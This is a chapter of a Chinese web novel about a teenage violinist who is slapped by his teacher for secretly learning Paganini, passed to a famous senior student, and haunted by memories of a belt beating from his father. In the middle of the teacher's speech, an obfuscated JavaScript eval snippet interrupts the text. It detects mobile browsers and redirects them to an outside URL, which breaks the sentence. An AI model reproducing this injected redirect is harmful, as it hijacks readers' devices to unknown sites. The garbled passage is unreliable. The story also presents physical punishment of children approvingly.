一滑屏幕,见到亮起的名字是“明珺”,顾梓聿立刻就气不打一处来——这小魔女!这个点她不是应该在排练吗?还能骚扰他这个“伤残人士”?! 他一边心不甘情不愿地接通电话,一边拉长声音抱怨:“喂——你有没有搞错啊!大清早的,不带这么坑人的吧?你知不知道现在才几点?九点!九点啊!我的睡眠时间就这么被你无情践踏了!” 停了片刻,只听到对面隐隐传来的是乔治·弗里德里希·亨德尔(Ge Frideric Handel)的《示巴女王的到来》(The Arrival of the Queen of Sheba)。这是他为歌剧《所罗门王》创作的其中一段管弦乐序曲。尽管它是歌剧中的一部分,但这段旋律也因其自身的吸引力,成为亨德尔最受欢迎的独立管弦乐作品之一。 他恍然了一下,才意识到乐团排练的进度。 电话那头安静了一瞬,顾梓聿还以为是姜明珺理亏了,不好意思开口,脾气也有点消了下来,可没等到他再一次开口,电话那头传来了一个略显苍老的但仍中气十足,隐约压制着怒气的声音: “顾梓聿,你想怎么样?啊?睡觉睡到九点还不知道起床?原来你就是这么和你的同学讲话的啊,挺拽的!听你声音这么响,不像是生了病,我告诉你,半个小时内给我赶到音乐厅,不然呢,哼,你以后也可以不用来了!” 空气瞬间凝固。 顾梓聿的瞌睡在一秒之内被彻底惊醒,他的脑子像是被雷劈了一样,整个人从床上弹了起来,连耳边的心跳声都能听得一清二楚。 ——吴老师?! ……死了,这下是真的死了。 顾梓聿还没反应过来,声音的主人已经远去,勉力听还能听到老头气吁吁地骂到:“这么多年我就没见过这种学生!什么东西!”伴着一阵摔谱子的声音。 顾梓聿一下懵了:什么状况?刚才那个声音是吴老师吧?自己刚刚都说了些什么?居然敢对老师大吼大叫!天啊,这样大逆不道的行为,顾梓聿,你是嫌自己命太长了吧! 不过这到底是怎么回事? 天才少年愣了一下,还好明珺接过了电话:“梓聿哥哥,是我。” 压低了的声音还带着些后怕,显然也是被刚才老头的怒气给波及到了。 虽然被臭骂一通还不明白到底发生了什么事,顾梓聿却是很清楚地知道再不抓紧就将面临被开除的下场——老头可是说到做到的人啊!他连忙起身,边套上衣服,边语速极快地问:“怎么了?” “我原本说你生病了,本来已经给你请假了,没想到,诶,你知道吗,宋熙和过来了,是那个宋熙和诶!吴老师就想着要叫你过来见见师兄。他听我说你生病了,担心的不得了,想让你多休息一会,就一直等到现在才给你打电话,谁知道你…” 得,这还都是自己的错,说不清了!连忙挂了电话,顾梓聿连房门都顾不得上锁了,捞了琴盒就往外跑。 一月的早晨,即使在节令上仍算是隆冬,但对于在北方成长生活了三十几年的宋熙和来说,这座南方城市还是很温暖的,凛冽的海风所挟带的这点寒意对他来说根本不算什么。此时,他只着了一件立领衬衫,外套一件羊绒毛衣,便束手站在音乐厅外,看着波涛拍打着海岸线,放任自己的思绪四处游荡: 去年的巡演工作已经告一段落,在世界各地跑了一整年之后,他特意安排自己在今年年初空出一段行程。长途飞行、频繁的排练、舞台和听众固然令人陶醉,但也让他身心俱疲。他需要一段休憩期,停一停,调整自己的状态,留出一段时间不理俗事,专心钻研琴艺,或许还能顺便做些教学,尝试换一种节奏去感受音乐。 他首要的安排,就是想来拜访一下自己的恩师,吴宏礼,叙叙旧,顺便也放松一下。他是一个懂得感恩的人,明白若没有恩师的悉心教导,加之老师为他铺设的人脉,他是不会有今天的。 六年的师生情谊,如父如子,老师点燃了他音乐的火苗,对他可谓是恩重如山。尽管他宋熙和此后也曾和几位大师有过师生之谊,但此后的情谊却再没有他与吴老师之间那般深厚的了。 吴老为他启蒙,又手牵手领他走上这条音乐之路,教他为人处事,人品琴品都要考教。每次学校文化课考试结束,老师都向他要成绩单,绝不允许他文化课拖后腿,每每有科目略差一些,老师便是要黑脸的。 他还记得在自己十多岁的时候,一次晚上上完琴课时,忽然下起了暴雨,他一时没法回家,吴老师给他煮了一碗热腾腾的面疙瘩,撒上些碧绿的葱花,朴实家常而温暖人心的味道,他一辈子也不会忘记。 不过,想起刚刚老师谈起那个年轻的小师弟时,眉目间充盈的欣赏期待的宠溺之意,他便略略有些吃味:想当年的自己也算是天资过人,老师尚且如此严厉,动戈戒尺藤条上身也是有的,更不必说别的学生了。唉,果然是小儿子,大孙子,老人们的心尖子么? 不一会晃过神来,宋熙和才发现自己已经吃上还未见面的小师弟的醋了,不禁略略错愕,转瞬又觉得自己实在好笑——多大的人了还和孩子计较。 而那头,坐立不安的顾梓聿心下惶惶——倔老头子的脾气大,万一他待会儿气不过要揍自己呢? 而对那位蜚声国际的师兄他只是有敬佩之情,却也谈不上有什么孺慕亲近之思。想到老头前些年因为自己排练时开小差,当着爱乐乐团的前辈们扇了自己一巴掌的无比丢脸的往事,他现在冷汗已浸透贴身衣衫,只得火急火燎地不停地催促的士司机“开快点再快点再再快点”。 司机被催得心头火起,一面骂骂咧咧,一面横冲直撞。而顾梓聿则被颠得死去活来,身下的伤磨得他如坐针毡,简直连死的心都有了。等到的士终于飞驰到人艺协和音乐厅时,顾梓聿差不多也就只剩了半条命。 听到身后的汽车直刹声,宋熙和心有所感,慢慢转过身来,知道大约是他那位小师弟到了,微微眯眼——不远处那个少年有一对清亮的瑞凤眼,瞳仁黑白分明,眼神纯澈透明,眼角微微上挑,鼻子高挺,短发清爽,似是有点眼熟? 没有多想,他便上前扶住了那已规规矩矩向自己行后辈礼的少年:“听说你之前生病了,现在好些了吗?” 那少年微微摇头道:“不是什么大毛病,初次拜见师兄就如此匆忙,是梓聿的不是,”话到此处,那少年才敢抬起头,呐呐道,“只是吴老师他还生气吗…” 原来大家在老师面前都是一样的鹌鹑。宋熙和真心实意地笑了笑:“老师大人有大量,倒是你,外面冷,快随我进来吧。” 松开手,那少年点点头,便亦步亦趋跟在他后面。 待进了排练厅,被那暖气一激,顾梓聿才打起抖来,觉着冷热交加,胸口一阵烦闷,一叠声呛咳了起来,夹在音乐声中却是分外清晰。吴老早已听到,却仍装着不为所动,只先叫暂停排练,慢悠悠地走下舞台,只顾着和宋熙和讲话,却把顾梓聿晾在一边,自是不去管他。 周围众人见到本来请假的首席又被匆忙叫来、人到了却又被晾在一边置之不理,不禁都心里疑惑起来。 顾梓聿自知理亏,却也没什么话好说,只是他已不像小时候那么爱面子,对于众人目光的刺探也坦然自若,只恭恭敬敬地跟着两位大佬进了指挥专属的休息室,束手低头站在那儿,听二位讲些乐坛掌故。 过了没多久,顾梓聿冷汗又冒了一身,微微颤抖——他身上有伤未愈,本就虚的很,刚刚被冷风吹得透心凉,又被这闷热一激,再加上自他今早起身,水米还不曾沾牙,铁打的人也扛不住了。 一旁的宋熙和对上他那小师弟偷偷递过来的满是哀求的眼神,心下也有些不忍,道:“老师,梓聿还生着病呢。” “病死他算了!小兔崽子,刚才在电话里对他老师大吼大叫!” 老头子果然还是气不过,顾梓聿得了师兄眼色,急忙上前半跪在老师面前,叠声认错:“老师,我早上绝对是脑子被雷劈了,要不就是被门夹了,我怎么敢对您大呼小叫呢,您千万千万别生气,生气伤身,您要是气,就捶我几下解解气?” “哼!”老头子一辈子的傲娇脾气,说要打吧,对面前这个宝贝徒弟又狠不下心下不了手,黑脸道:“你去,叫你师兄给指点一下,若是不好,我叫你师兄替我捶你。” “是。”顾梓聿听到今天有这一出,强自压抑兴奋——他这位师兄年少成名,如今如日中天,堪称世界乐坛的风云人物,是华纳的骄傲。绝妙的领悟力,超强的乐感,精湛的弓法和如滔滔江河般丰沛的表现力是他的优势。 凡是学器乐的人,总渴望能遇到一个强大的对手。顾梓聿已经当了四年多的鹿城学生交响乐团的小提琴首席了。尽管随着乐队排练演出过很多大师作品,由于作品缘故也有很多独奏片段,但老头却从来没带他参加任何独奏比赛,因此他很难有在类似师兄这样大咖的前辈前单独演奏的时候,自然,现在这个机会就变得无比重要。 顾梓聿先是对音,再为弓细细擦上一遍松香——他的手有一点抖,不是害怕心慌,而是一种即将面临挑战的热血沸腾。他骨血里深爱这陪伴他十年有余的伙伴。小提琴,是他过去生活的唯一见证和缅怀,时时提醒着他已被深埋于废墟中的一切,是他的情感寄托,伴他度过难眠的黑夜。 这一会功夫,他已有了决断,以帕格尼尼的 La Campanella 《钟》来博师兄的青眼了。 他镇定又骄傲地轻轻举起琴,夹在颈间。姿态十足地一扬手,起弓。 两位大人都很认真听,过了会却无奈地笑了——这孩子不过是在拉琶音音阶以热手。 宋熙和不熟悉他,只认为这孩子有够谨慎小意,不愿出丝毫差池。而吴老却觉出一丝味来:这孩子平日里并不这样讲究,便是乐队排练时,也很少先拉音阶热身,直接拿着新谱子就现场视奏更是常有的事情。他有时偏宠顾梓聿,看他拉的无甚差错,也就睁一眼闭一眼,可今日…… 他望望一脸严肃的熙和,心里便有了几分计较。 屏息,静气,一抬手,一个漂亮的上弓,半拍停顿后便是一连串的颤音华彩,六个把位下来,音准一丝不苟,断弓干净利落,毫不拖泥带水。 宋熙和都忍不住要拍手叫好了——在他这个年纪,放下学业一天十个小时专练琴艺时也就堪堪和他这小师弟仿佛吧?La Campanella 不是谁都拉的起的,自从问世以来,一直是小提琴演奏者用来展示高超技艺的经典曲目之一。况且眼前的小师弟还如此年轻,他已起了惜才之心,提携之意。 他凝神看着顾梓聿:笔直的站姿,肩肘很放松,只靠小臂来带动手腕,微微偏着头,不像时下一些人喜欢摇头晃脑,该紧的地方又收的很恰当。修长的手指在指板上起落——不因为手指头长就随意越位够把,而是一板一眼的换把,尤其在高音区的表现,精准的把位和手指的灵活性显示出眼前少年扎实的基本功。又是一段连续的跳弓技巧,双音、滑音处理得极好,稳稳地不飘,而后的下顿弓不滞不涩,旋律明亮,节奏精确。 这孩子,几乎在弓法和指法上,至少是这首曲子,已经达到炉火纯青的地步了。 “啪!” 琴音一颤,宋熙和收敛心神,诧异地发现居然是恩师怒急,敲断了指挥棒!顾梓聿见老师发火,隐约知道为了什么,不仅在心中懊悔,却也只能放下了琴,心下惴惴,等待将来的暴风雨。四下寂静之时,吴老师急步上前,劈手就是一个耳光,重重扇在顾梓聿的右脸颊上。 “你竟然没有经过我的同意,就自作主张去挑战这么高难度的作品。你知不知道,这样做不仅仅是对自己不负责任,还是对你学到的一切技能和原则的践踏!” 别看老头子六十好几了,这手劲大啊!顾梓聿一个趔趄,只感觉到牙齿划破了口腔,右脸热辣辣的,飞速肿起。见小师弟嘴角冒出血沫,宋熙和才反应过来:“老师,息怒啊。”他直觉到这次老头子是动了真火,忙回头道:“小师弟,还不快认错!” 谁料顾梓聿这次竟是死磕到底,他先把琴轻轻放好,而后站的笔直,一脸的倔强道:“老师,这首曲子虽然是未征得您的同意,我自己私下里学的,但它又不是什么乱七八糟的曲子,它是 Paganini 的名作啊,多少学生都在练习,我为什么不可以学?” 顾梓聿不觉得自己做错了。 “你说你没错,那你是在怀疑我做老师的资格,教习的分寸是吗?我不教自有我的道理,用不着你来指手画脚!” 老头一字一句的诛心之语,听得顾梓聿冷汗直冒,他没想到老头如此在意,想要辩解却不知如何开口。而宋熙和因发现这曲子竟然是小师弟自学出来的,心情已经激荡的不行,根本无法去劝阻这场争吵。 “好,你要 Paganini 是吗?要炫技是吗?要炫技,你怎么不拉 Caprices ?第15号,第23号,对吧?这不都任你挑选,啊?哦对,还有他的 Sonatas,你既然都能自学 La Campanella,奏鸣曲也不难吧?跟着录音视频?那你还要老师做什么呢?枉我平常还觉着你是个稳重的,太急功近利了!你自己心里没有数吗?没有充分的准备,直接跳跃到这样的曲目,就算是拉下来了,又怎么样,你以为这就足够驾驭它了吗?你对谱面的理解就是高音和跳弓吗?你根本没有做好充分的准备,就去挑战这样的曲子,你拉了这么多年琴,只有这么一点觉悟吗?” 老头子声色俱厉地训斥,雷霆万钧。 “吴老师,我承认,这首曲子的技术难度确实拔高了很多,但刚才师兄也在这里,他也可以评价,我练习的时候一定是认认真真的。我投入了大量的时间,音准、节奏、跳弓,每一项要素我都尽量做到最好,我不明白,为什么您要这样生气?我只是想挑战自己,提升自己的水平,难道这种努力不值得肯定吗?有练习总归是好的,不是吗?曲子的表现力也许有高低,但是技术标准总归是一样的吧?您可能觉得我过于追求技巧了,但这不是小提琴能力最直观的展现吗?” 顾梓聿忍不住想要反驳,因为他心里着实委屈:“老师,您说我急功近利,可我真的不是想炫耀啊。我练习的时候很认真,我真的很努力了,难道这也错了吗?” 紧张过去后,伤痛开始变本加厉,顾梓聿无力地倚在墙上,低着头,自己私下的苦练,刚才的演奏,看起来都像是一场笑话吧? “而 La Campanella,各种类型的弓法俱全,指法灵活多变,还有抒情的乐句,和单纯只强调技巧的 caprices 又不一样。至于 sonatas,老师,您实在是太高看我了。师兄是你最出色的弟子,我只不过是想,想得到师兄的认同罢了…” 这最后一句声音微弱,却又足够两人入耳,只是心思,却各有不同。 吴宏礼盯着他,脸色阴沉,眼神凌厉,声音里透着火气:“梓聿,你当然努力,我看得出来,你练得很拼命,但你有没有想过,你拼命练的到底是不是对的?” 他语气咄咄逼人:“你觉得委屈?觉得自己那么努力了,就该被肯定?行,那我问你,你光努力有用吗?方向错了,你练一百个小时都没意义,甚至比不练还糟糕!” “你练那些超出自己能力的曲子,练到手指抽筋,练到大脑麻木,就叫进步?你拉帕格尼尼,你知道自己在干什么吗?别跟我说’大概会了’,‘差不多能拉下来’,你明白这曲子的精髓吗?你真能驾驭它吗?还是只是想靠挑战高难度来刷存在感,证明自己‘挺厉害’?” 他猛地一挥手,声音陡然拔高:“音乐不是竞赛!没人规定你非要在这个年纪拉什么样的曲子!你倒是给我想清楚,你练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266187|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的到底是音乐,还是在自我感动?!” 吴宏礼的语气放缓了一些,但依旧带着严厉的锋芒,继续说道: “练习是好的,任何一位音乐家,如果没有持之以恒的练习,都不可能有今天的成就。但我要告诉你,真正的练习,不是一味地磨炼技巧,而是为了积累对音乐的理解。音乐需要的是耐心,是对每一段旋律的感悟,有些东西需要时间去消化,而不是一味地去’硬练’。你面对如此高难度的曲目,如果不尊重一个正常的学习过程,想通过一次次突破极限来获得进步,你或许会得到一时的自信和满足,但最终,你会发现自己只是空有技巧,却没有真正掌握音乐的灵魂。” “明白吗?” 顾梓聿低头静静听着,吴老师的每一句话,都像是在撕碎他的自尊,最终让他赤条条的,鲜血淋漓。 “空有技巧,却没有真正掌握音乐的灵魂。” 这句话像是一道利刃,直直地刺进他心里,让他一阵钝痛。 ——老师说了这么多,不还是在说我不配? 他的努力到头来只是方向错误的“硬练”,是歧途,他拼了命地练习,把所有能压榨的时间都投入到琴弦之上,可到头来,换来的竟然是这样一句评价?那么他的所有汗水,他熬过的那些时间,他压制住的疲惫和酸痛……到底算什么? 吴宏礼见他沉默,轻轻叹了口气:“你知道吗,梓聿,所有音乐的成长都要经历一个过程。而这个过程,往往是最不显眼的、最不起眼的积累。你不能仅仅因为自己觉得有能力,就去挑战那些根本不属于你现在阶段的作品。因为你没有准备好。” 他走到顾梓聿身旁,轻轻拍了拍他的肩膀:“我对你严厉,不是因为我否定你,而是因为你有潜力。我不希望你像许多年轻的琴手一样,走上追求年少成名的路,而最终却迷失了音乐的本质。” 顾梓聿的眼眶微微泛红,他低下头,心里翻涌着复杂的情绪。他依旧觉得委屈,可是他没有再争辩。吴老师有他的看法,也许他现在还不能理解,但至少他知道吴老师为他的心是好的。就凭这一点,他也不能再去和老师争这一时之气。 宋熙和知道自己老师的脾气,便也静静地听着这场教训,不去打断。其实,他倒是不太同意老师的看法。他觉得年轻人敢于挑战挺好的,难道不该是这样吗?音乐又不是非得按部就班地走,每个人的成长路径不一样,有多少神童学琴的时候一个月跳一个大级别?顾梓聿想挑战更高难度的曲子,这没什么错。 吴老师当然有他的道理,他是怕顾梓聿走得太快,根基不稳。但说实话,每个人都有自己的节奏,他年轻的时候也偷偷练过拔高的曲子,只是没被发现罢了。 顾梓聿拉的那首帕格尼尼,其实已经算不错了,至少撑得住台。吴老师之所以这么严厉,是因为他的期待太高,不想让顾梓聿走弯路,但以他看来,顾梓聿这小子脑子很清晰,完全知道自己在干什么。 不过,顾梓聿这个巴掌是白挨了。只希望小孩不要有心理阴影,以后想练高难度曲子,还是得练,就是得先想想,怎么别被老师发现。 想到这儿,他才突然意识到,好像就是为了拉给自己听,顾梓聿才暴露的?这么说,自己还要为这巴掌负责任了? 宋熙和忍不住叹了口气,行吧,就让他出手来收拾一下这个残局。 “梓聿啊,”宋熙和轻咳了一声,“你是聪明的,老师刚才说的话,我想你一定听进去了,对吧?老师说得没错,如果基础不够扎实,挑战高难度曲目确实可能造成不良影响,甚至会让人误以为掌握了技巧,却忽视了音乐的内涵。” 他看了眼吴宏礼的表情,老头面是黑的,仍是生气。他知道老头有心脏病,又脾气爆,若是气出了什么好歹… 他调整了一下措辞:“但……你的演奏,刚才其实也没有那么糟糕,甚至在某些地方的表达,我能感觉到,你已经有了自己的理解。” 这句话一出,顾梓聿猛地抬头看了宋熙和一眼,眼里闪过一丝惊讶,而吴老师的目光也缓缓转向了他,宋熙和一下压力倍增。 “老师,我建议,让小师弟选择一首难度适中的曲目,重新演奏一遍。” 这一声“小师弟”出来,吴宏礼死蹙着的眉头倒是松了松。 “不过这次,不只是弹奏正确的音符。”宋熙和的眼神严肃了起来,目光直视顾梓聿,“我们要听的,不是技巧,而是音乐的感染力和表现力。” 吴宏礼不置可否,又坐回座位上。 宋熙和看着顾梓聿,语气温和了些许:“梓聿,你愿意试试吗?” 顾梓聿愣了一下,意识到这是师兄为自己争取到的机会,不敢再犹豫下去,第二次拿起琴,松松弓毛,简单的乐句,哀而不伤的乐符,是《冥想曲》(Méditation from Tha?s)。这是他8、9岁时就已经拉的极好的曲子,旋律优美,但需要深刻情感表达的作品。这次,他没有刻意加花,每一个单音都一丝不苟,干净均匀,音色温暖而富有层次,仿佛带着诉说不尽的情感,连空气都随着琴声变得厚重起来。 宋熙和微微点头,他知道,这才是老师想看到的东西——不是技术的堆砌,而是情感的表达。 吴宏礼则微微眯起眼睛,他没有说话,只是静静地听着。 当最后一个音符缓缓消散在空气中时,房间陷入了短暂的沉默。 顾梓聿惴惴不安地等着,吴宏礼沉吟了几秒,才语气平静地开口:“可以。” 吴宏礼的目光从顾梓聿身上移向宋熙和,带着一种复杂的神色。沉默片刻,他终于开口:“熙和,你刚才不是说,准备给自己放一段假,好好调整一阵吗?” “那正好。”吴宏礼的目光转向顾梓聿,“梓聿,以后就跟着你师兄学吧。” 顾梓聿一时没反应过来,愣在原地。 “老师,我……”他微微张口,想要说些什么,但又不知道该如何表达自己此刻的心情。 “乐团排练照常来,你还是首席,别想着撂挑子。不过小课你就不用来了。” 吴宏礼看着他,语气没有波澜,仿佛是在安排一件理所当然的事情:“去吧,你在我这里学的已经够多了。你该去看看别的世界,也该换个人教你点其他的东西。” 顾梓聿呆呆地站在原地,脑中有片刻的空白。他怎么也没有想到,老师竟然会在这个时候做出这样的决定。他原以为,今天这一场争论只是一次小小的考验,可是现在,他却要离开?他在这里学了这么久,从最基础的练习曲到复杂的诠释,吴老师一直严厉地督促着他,甚至很少给予他真正意义上的称赞。而现在,老师竟然主动让他去师兄那里,像是……把他“放出去”了。 “老师……”他的喉咙有些发紧,声音微微发颤,“是因为我自己学曲子,让您失望了吗?” 宋熙和则一脸无奈地看向吴宏礼,试探性地问:“老师,您是认真的吗?” 吴宏礼脸又黑了:“爱收收,不爱收拉倒。” 宋熙和想说自己本来是打算放空一阵的,结果突然被安插了一个学生,这算怎么回事?抽空指点指点和正式教徒弟可不一样,这责任可不是随便就能扛起来的。不过他不打算当着小师弟的面讨论这事,笑着对顾梓聿说:“你先回去,我和老师好好商量一下,看怎么样对你的发展最好。你也别想太多,回去还是照样好好练琴啊,如果最后你归我管了,我也和老师一样,不会手软的。” 顾梓聿抬起头,和宋熙和对视了一瞬间。他看到了宋熙和眼中的认真,他终于深吸一口气,点了点头:“……我明白了,谢谢师兄。” 他收拾好琴盒,规规矩矩地鞠躬道别,身子弯的极低,以致抬起头来还有些目眩,带上门,逃也似地离开了。 休息室内,老头望着窗外那个落寞身影微微出神,宋熙和忍不住开口:“老师,您把您的得意弟子给我了,不会舍不得吗?” 吴宏礼笑了笑,又叹了口气:“我一直认为,教育并不是为了束缚,而是为了放手。你说得对,我确实是很看重他,但有时候,放手也是一种成全。” 吴宏礼没有说出口的是,自己的时间已经不多了。 7. 往事如烟 顾梓聿几乎可以算得上是小跑着离开音乐厅的,他出了休息室,直接从侧门走的,被训了这么一顿还不赶快夹着尾巴溜走,难不成被扇一巴掌是件很光彩的事吗。 脚步虽是飞快,但他其实也不知道自己要去哪儿,吴老师那张混合了怒气和失望的黑脸一时间很难忘掉,顾梓聿抱着一股子极度负面的情绪,立刻决定这个时候他不能回自家待着,否则不知道要自怨自艾到什么时候,今天一整天又会彻底毁掉了。 诶,他为什么要说个“又”字。 他得去那种空旷的、有无遮无拦阳光和清冷的新鲜空气的地方待着。对,一个人待着。 顾梓聿随手拦下街边一辆的士:“走,去街心公园。” 街心公园其实是鹿城人对中央公园南区的简称,因其处于街心而得名。它坐落在鹿城实验小学、市少儿图书馆和妇幼保健院的交汇处,湖中栖息着一群野生黑天鹅,平日里,不少孩子在这里嬉戏打闹,欢声笑语回荡在湖畔。然而,隆冬时分,公园却变得冷清异常。 一方面,公园的湖水冬季常结薄冰,管理方担心孩童贪玩误入,便在入冬前立起了围栏,并减少了园区内的设施开放。另一方面,鹿城的冬季风大,公园又缺乏足够的屏蔽植被,湖面吹来的寒风格外刺骨,鲜有人愿意在这样的天气里长时间逗留。 因此,如今的公园里,除了偶尔沿湖慢跑的晨练者,几乎看不到其他身影。黑天鹅们缩着脖子浮在寒冷的湖面上,连平日里常见的鸽子和麻雀,也都躲去了不知哪个角落避寒。 顾梓聿记得自己刚来到鹿城落脚生活的时候,还不能摆脱连连的梦魇。梦里的火光映红了半边天,空气中弥漫着烧焦的气味,尖叫、枪声、爆炸声交错成一片。他站在瓦砾之中,双手沾满血污。他看到有人倒下去,嘴唇翕动,似乎在说什么,可是他的耳朵里只有轰鸣的噪音。他想要伸手去拉住那个人,可对方的身体渐渐模糊,变得破碎,最后化作灰烬,被风吹散—— 那段时间他放学了也不愿意回家,天天来这里拉琴,边拉边哭,边哭边拉,吓得周围下棋的老大爷围上来安慰他:“孩子,是不是爸妈逼你练琴啊?唉,别哭啊,你这拉的还挺好听啊。” 后来他还是被顾仲景找到,讨了一顿好打。顾仲景下手,向来都是等到冷静之后才动手,他怕气头上来,手上没有分寸。可那一次,他罕见地暴怒,没有任何言语,也不给他讨饶的机会,带着怒气挥舞着皮带,把他从床上打到床下,从房里打到厅里,打得才八岁的他哭哑了嗓子。 皮革的质地冰冷厚重,划破空气,抽打在他身上,撕扯着他的皮肉也撕扯着他的意识,他如何痛哭叫喊,都换不来一点怜悯,回应他的只是沉默地一下接着一下的重责。他在疼痛里辗转哭嚎发抖忍耐,但时间仿佛凝固,窗外分明是白天,他却如坠永夜。 之后的事情他也不再记得,只是那次挨打之后,他再也没梦到那样的炮火连天,好像在斯堪拉的那段日子都被整整齐齐地、生生地从生命中切断了,了无痕迹。他似乎也变回了一个正常的小孩,一样上课,一样和伙伴打闹,一样练琴,只是那份天真和任意腻在父母怀里撒娇的资格,终是被剥夺了。 “到了。”司机的招呼声唤醒了沉浸在记忆中的顾梓聿。 他付了钱,高高竖起风衣的领子,遮住半边脸颊,才下了车——他已经很久没有来过这里了,自从挨了那顿刻骨铭心的打之后,他经过这里都是绕着走,将近六年不曾踏足,但一切却都还和记忆中无甚差别。 慢慢吐出一口气,他走到一边的石桌旁,拿出琴,倚靠在一边的榕树下,开始漫无目的地拉点曲子,想想这段时间发生的事。福雷的圣咏、菲比勒的诗曲、托塞利的叹息小夜曲、贝多芬的春天奏鸣曲纷纷从琴弓下流淌开来,树下的男孩微蹙的双眉和红润的嘴唇在午后微醺的阳光下,显得格外醉人。 刚刚从便利店拎来一袋冰啤的苏影看到的就是这样一幅迷人的画面,不知怎的,心里头那股悲郁和暴躁居然慢慢消失了。寒风吹来,她打了一个趔趄,却毫不在意,只紧了紧围巾,站在十步远的地方,呆呆地,出神。 站在这湖边实在是有点冷,顾梓聿放下琴,搓了搓冻得通红的手指,他的左手有些冻僵了。转过身来,看到不远处有个女孩正直直地看着他,格纹围巾,浅咖色斗篷披风,白色牛仔裤,棕色短靴。嗯,不错的品位,他想。 他礼貌地朝她点点头,便准备收拾收拾走了。意外地,那女孩快步上前,张口就来: “Robert!I just know you wille back one day!” 呃,这是什么状况?认错人了吧,顾梓聿有些呆怔。 下一秒,女孩拉住自己的手,一串索伦语脱口而出:“That year, you went hors piste in Switzerland with Uncle and the others, but then there came an avalanche… Brother?” 顾梓聿清楚明白地记得自己是独生子女,顾仲景没结婚,应该也没有私生子女,亲戚早就断绝来往,哪来这么一个妹妹? “不好意思,你认错人了吧。” 苏影原来只是太激动才会不假思索地喊出来,可现在走近一看,发现眼前的男孩其实和自己的哥哥并不怎么像:哥哥左眼下有一颗泪痣。她慌张起来,粗暴地一捋起男孩的袖子——没有,右手臂上也没有那条为保护自己而留下的丑陋伤痕。她一下失去力气,坐在地上:这样的大起大落,对她的打击好大好大。 顾梓聿看着女孩失魂落魄的样子,心里也有点酸涩:他能够理解这种失去亲人的伤痛。他轻轻地拍了拍女孩的肩,收拾好琴,准备离开。却不妨女孩再次拉紧了自己的手,用蹩脚的华纳语,轻轻地说了声:“拜托你,可以留下陪陪我吗?” 顾梓聿抬手看看腕上的表,现在已是下午两点多了,回到家里收拾收拾也该干点正事了。可是当他对上那双蓄满了泪的眼,突然说不出拒绝的话来。闷闷地点点头,他坐了下来。 苏影只是不抱希望地请求,只是没想到眼前这个少年真的坐了下来。她抬起头,认真地打量起男孩。 “你长得真像我那个失踪的哥哥。他长我四岁,如果他还活着的话,今年应该十九岁了。”她拿出一罐冰啤,示意顾梓聿敷在肿起的脸颊上。 顾梓聿只觉得手心和脸颊冰冷,耳根却发着烧。他不禁在心里暗暗嘀咕:我今年也才十四岁,怎么能像你哥呢。不过他没有开口,只是认真地听着,努力分辨出女孩在讲什么。 “Robert,他是我的哥哥,也是我最爱的人。” “四年前,他和一群朋友在阿尔卑斯山脉度假,那一次他们是去攀冰川和滑野雪。尽管有着最专业的装备和高山向导,但遇上雪崩,他就失踪了。搜救队搜了整整小半个月,没有办法,什么踪迹也没有搜到,再也没有音讯。我是华纳人,但之前一直在索伦生活,今天是他当年失踪的日子…” 说着,女孩两行泪就下来了。 顾梓聿也不知该说些什么来安慰她,只好又沉默。 哭了一会,女孩擦干眼泪:“不好意思,吓着你了吧?我叫苏影,苏轼的苏,影子的影。你呢?” “嗯,我叫顾梓聿,顾城的顾,梓是故乡的意思,聿是代指那些很有文采的人。” “后面我都能听懂,可是顾城是谁呢?” “嗯,他是一个诗人…” 夕阳为这对少男少女的剪影镶上金边,两人又哭又笑,空啤酒罐摆满了一地,“原来你这是被老师打的呀,当年我不爱练琴,也被爸爸打手心呢。”“什么呀,你那是贪玩,我这是…”“是什么是什么?反正一样被打。”“喂…” 天色渐黑了下来,两人还不愿停止交谈。苏影是因为太过于贪恋对方像哥哥般的温暖,而顾梓聿则是因为自己最近压力太大,所以格外珍视这样和陌生的同龄人交谈的惬意而轻松的时光。 直到 Scarborough Fair 悠扬地响起。 “啊,爸,你回来啦?是,我在外面,好好,我马上回去。” 万万没想到顾仲景会在今天回来,顾梓聿顿时有些慌张起来,转身向苏影道了个别,起身就走。不料身后苏影传来一阵略带羞意的惊叫,顾梓聿回头一看,只见石椅上浸出了暗红色的痕迹。顾梓聿一时没反应过来:受伤了? 他还呆呆地看着,直到苏影大发娇嗔:“看什么看啊,笨蛋!”他才一下醒过神来:啊?这就是生物课上说的,女孩来例假啦? 苏影穿的是白色裤子,这样一来,她肯定不能就这样回去,顾梓聿没多想,直接解下自己的外套,弯下腰为苏影系在腰间,恰恰挡住那份痕迹。 不知怎的,他鬼使神差地摸了摸苏影的脑袋:“傻孩子,不懂得照顾自己,还喝冰的。”话一出口,他才觉不妥,连忙放手,拿起琴跑开,还边喊:“回去好好休息。” 苏影怔在原地,眼泪不自觉地哗哗下来:那一刻,她真感觉到哥哥又回来了。 回到家时,夜幕已降临。顾梓聿一进门,就看到顾仲景正坐在沙发上闭目养神,而餐桌上摆满了三菜一汤。他不禁有些愧疚:顾仲景在外面整整跑了两个星期,一定很累,自己不仅没在家里准备好吃的,还让他等自己等了这么久。 他放好了琴,连忙走到顾仲景身边,轻轻推了推:“爸,我回来了。” “嗯。”顾仲景缓缓睁开眼,看到眼前的男孩,笑了笑,说:“饿了吧?去,快去洗手吃饭。” “是!”顾梓聿调皮地立正行礼,冲去洗手。 回来之后,顾仲景亲自下厨,桌上的菜都是顾梓聿爱吃的:蒜苗炒肉,醉虾,青椒牛肉,还有菌菇骨头汤。顾梓聿放心地大快朵颐:顾仲景从来不会在餐桌上训人——弄得消化不良就不好了。他麻利地剥好虾,放在顾仲景碗里:“您多吃点。” 顾仲景似笑非笑地看着他:“你是在外干了什么坏事,想讨好我啊?” 顾梓聿顿了一下:本来只是想孝敬孝敬,可现在被这么一说,突然好慌啊。 他脸色不自然就恍惚起来,落在顾仲景眼里,心下生疑。他不轻不重地用筷子抽了顾梓聿手背一下,顾梓聿手一缩,一道红痕马上显现出来。 